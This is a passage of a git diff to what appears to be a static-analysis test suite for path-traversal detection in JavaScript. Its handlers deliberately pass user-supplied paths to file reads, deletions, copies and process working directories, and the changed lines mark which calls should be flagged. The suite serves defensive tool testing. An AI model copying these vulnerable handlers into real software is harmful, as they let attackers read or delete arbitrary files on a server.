+  res.write(fs.readFileSync(path)); // $ Alert - This could read any file on the file system
 
-  // BAD: This could still read any file on the file system
-  res.write(fs.readFileSync("/home/user/" + path));
+  res.write(fs.readFileSync("/home/user/" + path)); // $ Alert - This could still read any file on the file system
 
   if (path.startsWith("/home/user/"))
-      res.write(fs.readFileSync(path)); // BAD: Insufficient sanitisation
+      res.write(fs.readFileSync(path)); // $ Alert - Insufficient sanitisation
 
   if (path.indexOf("secret") == -1)
-      res.write(fs.readFileSync(path)); // BAD: Insufficient sanitisation
+      res.write(fs.readFileSync(path)); // $ Alert - Insufficient sanitisation
 
   if (fs.existsSync(path))
-      res.write(fs.readFileSync(path)); // BAD: Insufficient sanitisation
+      res.write(fs.readFileSync(path)); // $ Alert - Insufficient sanitisation
 
   if (path === 'foo.txt')
-    res.write(fs.readFileSync(path)); // GOOD: Path is compared to white-list
+    res.write(fs.readFileSync(path)); // OK - Path is compared to white-list
 
   if (path === 'foo.txt' || path === 'bar.txt')
-    res.write(fs.readFileSync(path)); // GOOD: Path is compared to white-list
+    res.write(fs.readFileSync(path)); // OK - Path is compared to white-list
 
   if (path === 'foo.txt' || path === 'bar.txt' || someOpaqueCondition())
-    res.write(fs.readFileSync(path)); // BAD: Path is incompletely compared to white-list
+    res.write(fs.readFileSync(path)); // $ Alert - Path is incompletely compared to white-list
 
   path = sanitize(path);
-  res.write(fs.readFileSync(path)); // GOOD: Path is sanitized
+  res.write(fs.readFileSync(path)); // OK - Path is sanitized
 
-  path = url.parse(req.url, true).query.path;
-  // GOOD: basename is safe
+  path = url.parse(req.url, true).query.path; // $ Source
+  // OK - basename is safe
   res.write(fs.readFileSync(pathModule.basename(path)));
-  // BAD: taint is preserved
-  res.write(fs.readFileSync(pathModule.dirname(path)));
-  // GOOD: extname is safe
+  res.write(fs.readFileSync(pathModule.dirname(path))); // $ Alert - taint is preserved
+  // OK - extname is safe
   res.write(fs.readFileSync(pathModule.extname(path)));
-  // BAD: taint is preserved
-  res.write(fs.readFileSync(pathModule.join(path)));
-  // BAD: taint is preserved
-  res.write(fs.readFileSync(pathModule.join(x, y, path, z)));
-  // BAD: taint is preserved
-  res.write(fs.readFileSync(pathModule.normalize(path)));
-  // BAD: taint is preserved
-  res.write(fs.readFileSync(pathModule.relative(x, path)));
-  // BAD: taint is preserved
-  res.write(fs.readFileSync(pathModule.relative(path, x)));
-  // BAD: taint is preserved
-  res.write(fs.readFileSync(pathModule.resolve(path)));
-  // BAD: taint is preserved
-  res.write(fs.readFileSync(pathModule.resolve(x, y, path, z)));
-  // BAD: taint is preserved
-  res.write(fs.readFileSync(pathModule.toNamespacedPath(path)));
+  res.write(fs.readFileSync(pathModule.join(path))); // $ Alert - taint is preserved
+  res.write(fs.readFileSync(pathModule.join(x, y, path, z))); // $ Alert - taint is preserved
+  res.write(fs.readFileSync(pathModule.normalize(path))); // $ Alert - taint is preserved
+  res.write(fs.readFileSync(pathModule.relative(x, path))); // $ Alert - taint is preserved
+  res.write(fs.readFileSync(pathModule.relative(path, x))); // $ Alert - taint is preserved
+  res.write(fs.readFileSync(pathModule.resolve(path))); // $ Alert - taint is preserved
+  res.write(fs.readFileSync(pathModule.resolve(x, y, path, z))); // $ Alert - taint is preserved
+  res.write(fs.readFileSync(pathModule.toNamespacedPath(path))); // $ Alert - taint is preserved
 });
 
 var server = http.createServer(function(req, res) {
     // tests for a few uri-libraries
-    res.write(fs.readFileSync(require("querystringify").parse(req.url).query)); // NOT OK
-    res.write(fs.readFileSync(require("query-string").parse(req.url).query)); // NOT OK
-    res.write(fs.readFileSync(require("querystring").parse(req.url).query)); // NOT OK
+    res.write(fs.readFileSync(require("querystringify").parse(req.url).query)); // $ Alert
+    res.write(fs.readFileSync(require("query-string").parse(req.url).query)); // $ Alert
+    res.write(fs.readFileSync(require("querystring").parse(req.url).query)); // $ Alert
 });
 
 (function(){
@@ -72,7 +61,7 @@ var server = http.createServer(function(req, res) {
     var express = require('express');
     var application = express();
 
-    var views_local = (req, res) => res.render(req.params[0]);
+    var views_local = (req, res) => res.render(req.params[0]); // $ Alert
     application.get('/views/*', views_local);
 
     var views_imported = require("./views");
@@ -81,12 +70,12 @@ var server = http.createServer(function(req, res) {
 })();
 
 var server = http.createServer(function(req, res) {
-	let path = url.parse(req.url, true).query.path;
+	let path = url.parse(req.url, true).query.path; // $ Source
 
-	res.write(fs.readFileSync(fs.realpathSync(path)));
+	res.write(fs.readFileSync(fs.realpathSync(path))); // $ Alert
 	fs.realpath(path,
 	                function(err, realpath){
-		                res.write(fs.readFileSync(realpath));
+		                res.write(fs.readFileSync(realpath)); // $ Alert
 	                }
 	               );
 
@@ -100,7 +89,7 @@ var server = http.createServer(function(req, res) {
     path = path.replace(/\.\./g, ''); // remove all ".."
   }
 
-  res.write(fs.readFileSync(path));  // OK. Is sanitized above.
+  res.write(fs.readFileSync(path));  // OK - Is sanitized above.
 });
 
 var server = http.createServer(function(req, res) {
@@ -113,70 +102,70 @@ var server = http.createServer(function(req, res) {
     path = path.replace(/\.\./g, ''); // remove all ".."
   }
 
-  res.write(fs.readFileSync(path));  // OK. Is sanitized above.
+  res.write(fs.readFileSync(path));  // OK - Is sanitized above.
 });
 
 var server = http.createServer(function(req, res) {
-	let path = url.parse(req.url, true).query.path;
+	let path = url.parse(req.url, true).query.path; // $ Source
 
-	require('send')(req, path); // NOT OK
+	require('send')(req, path); // $ Alert
 });
 
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
+  let path = url.parse(req.url, true).query.path; // $ Source
 
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
 
   var split = path.split("/");
 
-  fs.readFileSync(split.join("/")); // NOT OK
+  fs.readFileSync(split.join("/")); // $ Alert
 
-  fs.readFileSync(prefix + split[split.length - 1]) // OK
+  fs.readFileSync(prefix + split[split.length - 1])
 
-  fs.readFileSync(split[x]) // NOT OK
-  fs.readFileSync(prefix + split[x]) // NOT OK
+  fs.readFileSync(split[x]) // $ Alert
+  fs.readFileSync(prefix + split[x]) // $ Alert
 
   var concatted = prefix.concat(split);
-  fs.readFileSync(concatted.join("/")); // NOT OK
+  fs.readFileSync(concatted.join("/")); // $ Alert
 
   var concatted2 = split.concat(prefix);
-  fs.readFileSync(concatted2.join("/")); // NOT OK
+  fs.readFileSync(concatted2.join("/")); // $ Alert
 
-  fs.readFileSync(split.pop()); // NOT OK
+  fs.readFileSync(split.pop()); // $ Alert
 
 });
 
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
+  let path = url.parse(req.url, true).query.path; // $ Source
 
   // Removal of forward-slash or dots.
-  res.write(fs.readFileSync(path.replace(/[\]\[*,;'"`<>\\?\/]/g, ''))); // OK.
-  res.write(fs.readFileSync(path.replace(/[abcd]/g, ''))); // NOT OK
-  res.write(fs.readFileSync(path.replace(/[./]/g, ''))); // OK
-  res.write(fs.readFileSync(path.replace(/[foobar/foobar]/g, ''))); // OK
-  res.write(fs.readFileSync(path.replace(/\//g, ''))); // OK
-  res.write(fs.readFileSync(path.replace(/\.|\//g, ''))); // OK
-
-  res.write(fs.readFileSync(path.replace(/[.]/g, ''))); // NOT OK (can be absolute)
-  res.write(fs.readFileSync(path.replace(/[..]/g, ''))); // NOT OK (can be absolute)
-  res.write(fs.readFileSync(path.replace(/\./g, ''))); // NOT OK (can be absolute)
-  res.write(fs.readFileSync(path.replace(/\.\.|BLA/g, ''))); // NOT OK (can be absolute)
+  res.write(fs.readFileSync(path.replace(/[\]\[*,;'"`<>\\?\/]/g, '')));
+  res.write(fs.readFileSync(path.replace(/[abcd]/g, ''))); // $ Alert
+  res.write(fs.readFileSync(path.replace(/[./]/g, '')));
+  res.write(fs.readFileSync(path.replace(/[foobar/foobar]/g, '')));
+  res.write(fs.readFileSync(path.replace(/\//g, '')));
+  res.write(fs.readFileSync(path.replace(/\.|\//g, '')));
+
+  res.write(fs.readFileSync(path.replace(/[.]/g, ''))); // $ Alert - can be absolute
+  res.write(fs.readFileSync(path.replace(/[..]/g, ''))); // $ Alert - can be absolute
+  res.write(fs.readFileSync(path.replace(/\./g, ''))); // $ Alert - can be absolute
+  res.write(fs.readFileSync(path.replace(/\.\.|BLA/g, ''))); // $ Alert - can be absolute
 
   if (!pathModule.isAbsolute(path)) {
-    res.write(fs.readFileSync(path.replace(/[.]/g, ''))); // OK
-  	res.write(fs.readFileSync(path.replace(/[..]/g, ''))); // OK
-    res.write(fs.readFileSync(path.replace(/\./g, ''))); // OK
-  	res.write(fs.readFileSync(path.replace(/\.\.|BLA/g, ''))); // OK
+    res.write(fs.readFileSync(path.replace(/[.]/g, '')));
+  	res.write(fs.readFileSync(path.replace(/[..]/g, '')));
+    res.write(fs.readFileSync(path.replace(/\./g, '')));
+  	res.write(fs.readFileSync(path.replace(/\.\.|BLA/g, '')));
   }
 
   // removing of "../" from prefix.
-  res.write(fs.readFileSync("prefix" + pathModule.normalize(path).replace(/^(\.\.[\/\\])+/, ''))); // OK
-  res.write(fs.readFileSync("prefix" + pathModule.normalize(path).replace(/(\.\.[\/\\])+/, ''))); // OK
-  res.write(fs.readFileSync("prefix" + pathModule.normalize(path).replace(/(\.\.\/)+/, ''))); // OK
-  res.write(fs.readFileSync("prefix" + pathModule.normalize(path).replace(/(\.\.\/)*/, ''))); // OK
+  res.write(fs.readFileSync("prefix" + pathModule.normalize(path).replace(/^(\.\.[\/\\])+/, '')));
+  res.write(fs.readFileSync("prefix" + pathModule.normalize(path).replace(/(\.\.[\/\\])+/, '')));
+  res.write(fs.readFileSync("prefix" + pathModule.normalize(path).replace(/(\.\.\/)+/, '')));
+  res.write(fs.readFileSync("prefix" + pathModule.normalize(path).replace(/(\.\.\/)*/, '')));
 
-  res.write(fs.readFileSync("prefix" + path.replace(/^(\.\.[\/\\])+/, ''))); // NOT OK - not normalized
-  res.write(fs.readFileSync(pathModule.normalize(path).replace(/^(\.\.[\/\\])+/, ''))); // NOT OK (can be absolute)
+  res.write(fs.readFileSync("prefix" + path.replace(/^(\.\.[\/\\])+/, ''))); // $ Alert - not normalized
+  res.write(fs.readFileSync(pathModule.normalize(path).replace(/^(\.\.[\/\\])+/, ''))); // $ Alert - can be absolute
 });
 
 import normalizeUrl from 'normalize-url';
@@ -184,38 +173,45 @@ import normalizeUrl from 'normalize-url';
 var server = http.createServer(function(req, res) {
   // tests for a few more uri-libraries
   const qs = require("qs");
-  res.write(fs.readFileSync(qs.parse(req.url).foo)); // NOT OK
-  res.write(fs.readFileSync(qs.parse(normalizeUrl(req.url)).foo)); // NOT OK
+  res.write(fs.readFileSync(qs.parse(req.url).foo)); // $ Alert
+  res.write(fs.readFileSync(qs.parse(normalizeUrl(req.url)).foo)); // $ Alert
   const parseqs = require("parseqs");
-  res.write(fs.readFileSync(parseqs.decode(req.url).foo)); // NOT OK
+  res.write(fs.readFileSync(parseqs.decode(req.url).foo)); // $ Alert
 });
 
 const cp = require("child_process");
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
-  cp.execSync("foobar", {cwd: path}); // NOT OK
-  cp.execFileSync("foobar", ["args"], {cwd: path}); // NOT OK
-  cp.execFileSync("foobar", {cwd: path}); // NOT OK
+  let path = url.parse(req.url, true).query.path; // $ Source
+  cp.execSync("foobar", {cwd: path}); // $ Alert
+  cp.execFileSync("foobar", ["args"], {cwd: path}); // $ Alert
+  cp.execFileSync("foobar", {cwd: path}); // $ Alert
 });
 
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
+  let path = url.parse(req.url, true).query.path; // $ Source
 
   // Removal of forward-slash or dots.
-  res.write(fs.readFileSync(path.replace(new RegExp("[\\]\\[*,;'\"`<>\\?/]", 'g'), ''))); // OK
-  res.write(fs.readFileSync(path.replace(new RegExp("[\\]\\[*,;'\"`<>\\?/]", ''), ''))); // NOT OK.
-  res.write(fs.readFileSync(path.replace(new RegExp("[\\]\\[*,;'\"`<>\\?/]", unknownFlags()), ''))); // OK -- Might be okay depending on what unknownFlags evaluates to.
+  res.write(fs.readFileSync(path.replace(new RegExp("[\\]\\[*,;'\"`<>\\?/]", 'g'), '')));
+  res.write(fs.readFileSync(path.replace(new RegExp("[\\]\\[*,;'\"`<>\\?/]", ''), ''))); // $ Alert
+  res.write(fs.readFileSync(path.replace(new RegExp("[\\]\\[*,;'\"`<>\\?/]", unknownFlags()), ''))); // OK - Might be okay depending on what unknownFlags evaluates to.
 });
 
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
+  let path = url.parse(req.url, true).query.path; // $ Source
 
-  res.write(fs.readFileSync(path.replace(new RegExp("[.]", 'g'), ''))); // NOT OK (can be absolute)
+  res.write(fs.readFileSync(path.replace(new RegExp("[.]", 'g'), ''))); // $ Alert - can be absolute
 
   if (!pathModule.isAbsolute(path)) {
-    res.write(fs.readFileSync(path.replace(new RegExp("[.]", ''), ''))); // NOT OK
-    res.write(fs.readFileSync(path.replace(new RegExp("[.]", 'g'), ''))); // OK
-    res.write(fs.readFileSync(path.replace(new RegExp("[.]", unknownFlags()), ''))); // OK
+    res.write(fs.readFileSync(path.replace(new RegExp("[.]", ''), ''))); // $ Alert
+    res.write(fs.readFileSync(path.replace(new RegExp("[.]", 'g'), '')));
+    res.write(fs.readFileSync(path.replace(new RegExp("[.]", unknownFlags()), '')));
   }
 });
   
+var srv = http.createServer(function(req, res) {
+  let path = url.parse(req.url, true).query.path; // $ Source
+  const improperEscape = escape(path);
+  res.write(fs.readFileSync(improperEscape)); // $ Alert
+  const improperEscape2 = unescape(path);
+  res.write(fs.readFileSync(improperEscape2)); // $ Alert
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.qlref b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.qlref
index 53d53cb8dc54..ff3d54b0cd56 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.qlref
@@ -1 +1,2 @@
-Security/CWE-022/TaintedPath.ql
+query: Security/CWE-022/TaintedPath.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/examples/TaintedPath.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/examples/TaintedPath.js
index 1fdbef68c47e..568269866f5f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/examples/TaintedPath.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/examples/TaintedPath.js
@@ -5,8 +5,7 @@ const fs = require('fs'),
 const ROOT = "/var/www/";
 
 var server = http.createServer(function(req, res) {
-  let filePath = url.parse(req.url, true).query.path;
+  let filePath = url.parse(req.url, true).query.path; // $ Source
 
-  // BAD: This function uses unsanitized input that can read any file on the file system.
-  res.write(fs.readFileSync(ROOT + filePath, 'utf8'));
+  res.write(fs.readFileSync(ROOT + filePath, 'utf8')); // $ Alert - This function uses unsanitized input that can read any file on the file system.
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/examples/TaintedPathGood.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/examples/TaintedPathGood.js
index ac8dd4fb9ba8..5b497cfddccb 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/examples/TaintedPathGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/examples/TaintedPathGood.js
@@ -8,7 +8,7 @@ const ROOT = "/var/www/";
 var server = http.createServer(function(req, res) {
   let filePath = url.parse(req.url, true).query.path;
 
-  // GOOD: Verify that the file path is under the root directory
+  // OK - Verify that the file path is under the root directory
   filePath = fs.realpathSync(path.resolve(ROOT, filePath));
   if (!filePath.startsWith(ROOT)) {
     res.statusCode = 403;
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/express.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/express.js
index dad320e3abae..13c6ad082abe 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/express.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/express.js
@@ -5,5 +5,5 @@ let app = express();
 app.use(fileUpload());
 
 app.get("/some/path", function (req, res) {
-  req.files.foo.mv(req.query.bar);
+  req.files.foo.mv(req.query.bar); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/handlebars.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/handlebars.js
index 512b851592aa..ffbeb5a767ba 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/handlebars.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/handlebars.js
@@ -8,11 +8,11 @@ const data = {};
 
 function init() {
     hb.registerHelper("catFile", function catFile(filePath) {
-        return fs.readFileSync(filePath); // SINK (reads file)
+        return fs.readFileSync(filePath); // $ Alert
     });
     hb.registerHelper("prependToLines", function prependToLines(prefix, filePath) {
         return fs
-          .readFileSync(filePath)
+          .readFileSync(filePath) // $ Alert
           .split("\n")
           .map((line) => prefix + line)
           .join("\n");
@@ -26,27 +26,27 @@ function init() {
 init();
 
 app.get('/some/path1', function (req, res) {
-    res.send(data.compiledFileAccess({ path: req.params.path })); // NOT ALLOWED (template uses vulnerable catFile)
+    res.send(data.compiledFileAccess({ path: req.params.path })); // $ Source - template uses vulnerable catFile
 });
 
 app.get('/some/path2', function (req, res) {
-    res.send(data.compiledBenign({ name: req.params.name })); // ALLOWED (this template does not use catFile)
+    res.send(data.compiledBenign({ name: req.params.name })); // OK - this template does not use catFile
 });
 
 app.get('/some/path3', function (req, res) {
-    res.send(data.compiledUnknown({ name: req.params.name })); // ALLOWED (could be using a vulnerable helper, but we'll assume it's ok)
+    res.send(data.compiledUnknown({ name: req.params.name })); // OK - could be using a vulnerable helper, but we'll assume it's ok
 });
 
 app.get('/some/path4', function (req, res) {
     res.send(data.compiledMixed({
         prefix: ">>> ",
-        path: req.params.path // NOT ALLOWED (template uses vulnerable helper)
+        path: req.params.path // $ Source - template uses vulnerable helper
     }));
 });
 
 app.get('/some/path5', function (req, res) {
     res.send(data.compiledMixed({
-        prefix: req.params.prefix, // ALLOWED (this parameter is safe)
+        prefix: req.params.prefix, // OK - this parameter is safe
         path: "data/path-5.txt"
     }));
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js
new file mode 100644
index 000000000000..c90da206824e
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/hapi.js
@@ -0,0 +1,22 @@
+const Hapi = require('@hapi/hapi');
+const fs = require('fs').promises;
+
+(async () => {
+    const server = Hapi.server({
+        port: 3005,
+        host: 'localhost'
+    });
+
+    server.route({
+        method: 'GET',
+        path: '/hello',
+        handler: async (request, h) => {
+            const filepath = request.query.filepath; // $ Source
+            const data = await fs.readFile(filepath, 'utf8'); // $ Alert
+            const firstLine = data.split('\n')[0];
+            return firstLine;
+        }
+    });
+
+    await server.start();
+})();
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js
new file mode 100644
index 000000000000..c0715cc9163a
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/more-fs-extra.js
@@ -0,0 +1,33 @@
+const express = require('express');
+const fs = require('fs-extra');
+const app = express();
+
+app.use(express.json());
+
+app.post('/rmsync', (req, res) => {
+    const { filename } = req.body; // $ Source
+    
+    fs.rmSync(filename); // $ Alert
+    fs.rm(filename); // $ Alert
+    fs.rmdir(filename); // $ Alert
+    fs.rmdirSync(filename); // $ Alert
+    fs.cp(filename, "destination"); // $ Alert
+    fs.cp("source", filename); // $ Alert
+    fs.copyFileSync(filename, "destination"); // $ Alert
+    fs.copyFileSync("source", filename); // $ Alert
+    fs.cpSync(filename, "destination"); // $ Alert
+    fs.cpSync("source", filename); // $ Alert
+    fs.emptydirSync(filename); // $ Alert
+    fs.emptydir(filename); // $ Alert
+    fs.opendir(filename); // $ Alert
+    fs.opendirSync(filename); // $ Alert
+    fs.openAsBlob(filename); // $ Alert
+    fs.statfs(filename); // $ Alert
+    fs.statfsSync(filename); // $ Alert
+    fs.open(filename, 'r'); // $ Alert
+    fs.openSync(filename, 'r'); // $ Alert
+    fs.outputJSONSync(filename, req.body.data, { spaces: 2 }); // $ Alert
+    fs.lutimes(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert
+    fs.lutimesSync(filename, new Date(req.body.atime), new Date(req.body.mtime)); // $ Alert
+    fs.outputJsonSync(filename, { timestamp: new Date().toISOString(), action: req.body.action, user: req.body.user}, { spaces: 2 }); // $ Alert
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/normalizedPaths.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/normalizedPaths.js
index 4fa6b3f50d54..4365de77a40f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/normalizedPaths.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/normalizedPaths.js
@@ -8,98 +8,98 @@ var fs = require('fs'),
 let app = express();
 
 app.get('/basic', (req, res) => {
-  let path = req.query.path;
+  let path = req.query.path; // $ Source
 
-  fs.readFileSync(path); // NOT OK
-  fs.readFileSync('./' + path); // NOT OK
-  fs.readFileSync(path + '/index.html'); // NOT OK
-  fs.readFileSync(pathModule.join(path, 'index.html')); // NOT OK
-  fs.readFileSync(pathModule.join('/home/user/www', path)); // NOT OK
+  fs.readFileSync(path); // $ Alert
+  fs.readFileSync('./' + path); // $ Alert
+  fs.readFileSync(path + '/index.html'); // $ Alert
+  fs.readFileSync(pathModule.join(path, 'index.html')); // $ Alert
+  fs.readFileSync(pathModule.join('/home/user/www', path)); // $ Alert
 });
 
 app.get('/normalize', (req, res) => {
-  let path = pathModule.normalize(req.query.path);
+  let path = pathModule.normalize(req.query.path); // $ Source
 
-  fs.readFileSync(path); // NOT OK
-  fs.readFileSync('./' + path); // NOT OK
-  fs.readFileSync(path + '/index.html'); // NOT OK
-  fs.readFileSync(pathModule.join(path, 'index.html')); // NOT OK
-  fs.readFileSync(pathModule.join('/home/user/www', path)); // NOT OK
+  fs.readFileSync(path); // $ Alert
+  fs.readFileSync('./' + path); // $ Alert
+  fs.readFileSync(path + '/index.html'); // $ Alert
+  fs.readFileSync(pathModule.join(path, 'index.html')); // $ Alert
+  fs.readFileSync(pathModule.join('/home/user/www', path)); // $ Alert
 });
 
 app.get('/normalize-notAbsolute', (req, res) => {
-  let path = pathModule.normalize(req.query.path);
+  let path = pathModule.normalize(req.query.path); // $ Source
 
   if (pathModule.isAbsolute(path))
     return;
 
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
 
   if (!path.startsWith("."))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   else
-    fs.readFileSync(path); // NOT OK - wrong polarity
+    fs.readFileSync(path); // $ Alert - wrong polarity
 
   if (!path.startsWith(".."))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
 
   if (!path.startsWith("../"))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
 
   if (!path.startsWith(".." + pathModule.sep))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
 });
 
 app.get('/normalize-noInitialDotDot', (req, res) => {
-  let path = pathModule.normalize(req.query.path);
+  let path = pathModule.normalize(req.query.path); // $ Source
 
   if (path.startsWith(".."))
     return;
 
-  fs.readFileSync(path); // NOT OK - could be absolute
+  fs.readFileSync(path); // $ Alert - could be absolute
 
   fs.readFileSync("./" + path); // OK - coerced to relative
 
-  fs.readFileSync(path + "/index.html"); // NOT OK - not coerced
+  fs.readFileSync(path + "/index.html"); // $ Alert - not coerced
 
   if (!pathModule.isAbsolute(path))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   else
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
 });
 
 app.get('/prepend-normalize', (req, res) => {
   // Coerce to relative prior to normalization
-  let path = pathModule.normalize('./' + req.query.path);
+  let path = pathModule.normalize('./' + req.query.path); // $ Source
 
   if (!path.startsWith(".."))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   else
-     fs.readFileSync(path); // NOT OK
+     fs.readFileSync(path); // $ Alert
 });
 
 app.get('/absolute', (req, res) => {
-  let path = req.query.path;
+  let path = req.query.path; // $ Source
 
   if (!pathModule.isAbsolute(path))
     return;
 
-  res.write(fs.readFileSync(path)); // NOT OK
+  res.write(fs.readFileSync(path)); // $ Alert
 
   if (path.startsWith('/home/user/www'))
-    res.write(fs.readFileSync(path)); // NOT OK - can still contain '../'
+    res.write(fs.readFileSync(path)); // $ Alert - can still contain '../'
 });
 
 app.get('/normalized-absolute', (req, res) => {
-  let path = pathModule.normalize(req.query.path);
+  let path = pathModule.normalize(req.query.path); // $ Source
 
   if (!pathModule.isAbsolute(path))
     return;
 
-  res.write(fs.readFileSync(path)); // NOT OK
+  res.write(fs.readFileSync(path)); // $ Alert
 
   if (path.startsWith('/home/user/www'))
-    res.write(fs.readFileSync(path)); // OK
+    res.write(fs.readFileSync(path));
 });
 
 app.get('/combined-check', (req, res) => {
@@ -107,71 +107,71 @@ app.get('/combined-check', (req, res) => {
 
   // Combined absoluteness and folder check in one startsWith call
   if (path.startsWith("/home/user/www"))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
 
   if (path[0] !== "/" && path[0] !== ".")
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
 });
 
 app.get('/realpath', (req, res) => {
-  let path = fs.realpathSync(req.query.path);
+  let path = fs.realpathSync(req.query.path); // $ Source
 
-  fs.readFileSync(path); // NOT OK
-  fs.readFileSync(pathModule.join(path, 'index.html')); // NOT OK
+  fs.readFileSync(path); // $ Alert
+  fs.readFileSync(pathModule.join(path, 'index.html')); // $ Alert
 
   if (path.startsWith("/home/user/www"))
     fs.readFileSync(path); // OK - both absolute and normalized before check
 
   fs.readFileSync(pathModule.join('.', path)); // OK - normalized and coerced to relative
-  fs.readFileSync(pathModule.join('/home/user/www', path)); // OK
+  fs.readFileSync(pathModule.join('/home/user/www', path));
 });
 
 app.get('/coerce-relative', (req, res) => {
-  let path = pathModule.join('.', req.query.path);
+  let path = pathModule.join('.', req.query.path); // $ Source
 
   if (!path.startsWith('..'))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   else
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
 });
 
 app.get('/coerce-absolute', (req, res) => {
-  let path = pathModule.join('/home/user/www', req.query.path);
+  let path = pathModule.join('/home/user/www', req.query.path); // $ Source
 
   if (path.startsWith('/home/user/www'))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   else
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
 });
 
 app.get('/concat-after-normalization', (req, res) => {
-  let path = 'foo/' + pathModule.normalize(req.query.path);
+  let path = 'foo/' + pathModule.normalize(req.query.path); // $ Source
 
   if (!path.startsWith('..'))
-    fs.readFileSync(path); // NOT OK - prefixing foo/ invalidates check
+    fs.readFileSync(path); // $ Alert - prefixing foo/ invalidates check
   else
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
 
   if (!path.includes('..'))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
 });
 
 app.get('/noDotDot', (req, res) => {
-  let path = pathModule.normalize(req.query.path);
+  let path = pathModule.normalize(req.query.path); // $ Source
 
   if (path.includes('..'))
     return;
 
-  fs.readFileSync(path); // NOT OK - can still be absolute
+  fs.readFileSync(path); // $ Alert - can still be absolute
 
   if (!pathModule.isAbsolute(path))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   else
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
 });
 
 app.get('/join-regression', (req, res) => {
-  let path = req.query.path;
+  let path = req.query.path; // $ Source
 
   // Regression test for a specific corner case:
   // Some guard nodes sanitize both branches, but for a different set of flow labels.
@@ -181,191 +181,191 @@ app.get('/join-regression', (req, res) => {
   if (path.startsWith('/x')) {path;} else {path;}
   if (path.startsWith('.')) {path;} else {path;}
 
-  fs.readFileSync(path); // NOT OK
+  fs.readFileSync(path); // $ Alert
 
   if (pathModule.isAbsolute(path))
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
   else
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
 
   if (path.includes('..'))
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
   else
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
 
   if (!path.includes('..') && !pathModule.isAbsolute(path))
-    fs.readFileSync(path); // OK
+    fs.readFileSync(path);
   else
-    fs.readFileSync(path); // NOT OK
+    fs.readFileSync(path); // $ Alert
 
   let normalizedPath = pathModule.normalize(path);
   if (normalizedPath.startsWith('/home/user/www'))
-    fs.readFileSync(normalizedPath); // OK
+    fs.readFileSync(normalizedPath);
   else
-    fs.readFileSync(normalizedPath); // NOT OK
+    fs.readFileSync(normalizedPath); // $ Alert
 
   if (normalizedPath.startsWith('/home/user/www') || normalizedPath.startsWith('/home/user/public'))
-    fs.readFileSync(normalizedPath); // OK - but flagged anyway [INCONSISTENCY]
+    fs.readFileSync(normalizedPath); // $ SPURIOUS: Alert
   else
